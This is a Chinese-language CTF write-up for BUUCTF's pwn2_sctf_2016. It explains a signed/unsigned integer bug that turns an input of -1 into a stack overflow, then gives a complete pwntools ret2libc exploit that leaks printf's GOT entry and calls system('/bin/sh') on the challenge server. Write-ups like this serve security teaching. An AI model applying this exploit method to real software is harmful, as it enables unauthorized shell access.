BUUCTF Pwn pwn2_sctf_2016
1.checksec
- 没有canary,方便溢出
- 没有PIE,构造ROP会方便很多
2.IDA32
vuln函数
int vuln()
{
char nptr[32]; // [esp+1Ch] [ebp-2Ch] BYREF
int v2; // [esp+3Ch] [ebp-Ch]
printf("How many bytes do you want me to read? ");
get_n(nptr, 4);
v2 = atoi(nptr);
if ( v2 > 32 )
return printf("No! That size (%d) is too large!
", v2);
printf("Ok, sounds good. Give me %u bytes of data!
", v2);
get_n(nptr, v2);
return printf("You said: %s
", nptr);
}
- 程序读入一个字符串并转化为带符号整形(signed int),这时,如果我们输入负数可以避开不能大于32的检查
- 在get_n函数中,读入长度被强制转换为unsigned int,此时-1变成了4294967295。使得我们能够进行缓冲区溢出攻击
漏洞利用
-
根据之前分析,我们能进行缓冲区溢出修改程序返回值,所以利用过程如下
-
我们先调用printf函数将printf的got表的值打印出来
-
根据它使用LibcSearcher计算libc的基地址,并让程序跳转到main开头
-
ROP链为p32(printf_plt) + p32(main) + p32(printf_got)
-
构造ROP链为p32(system) + p32(main) + p32(bin_sh)就能获得shell了
3.exp
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 29935)
#r = process("./pwn2_sctf_2016")
elf = ELF("./pwn2_sctf_2016")
printf_plt = elf.plt['printf']
printf_got = elf.got['printf']
main = 0x080485B8
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('
')
payload = 'a' * 0x30 + p32(printf_plt) + p32(main) + p32(printf_got)
r.sendline(payload)
print r.recvuntil('
')
printf_addr = u32(r.recv(4))
print "printf:", hex(printf_addr)
libc = LibcSearcher('printf', printf_addr)
libc_base = printf_addr - libc.dump('printf')
system = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
print "system:", hex(system)
print "bin_sh", hex(bin_sh)
print r.recvuntil("How many bytes do you want me to read? ")
r.sendline('-1')
print r.recvuntil('
')
payload = 'a' * 0x30 + p32(system) + p32(main) + p32(bin_sh)
r.sendline(payload)
r.interactive()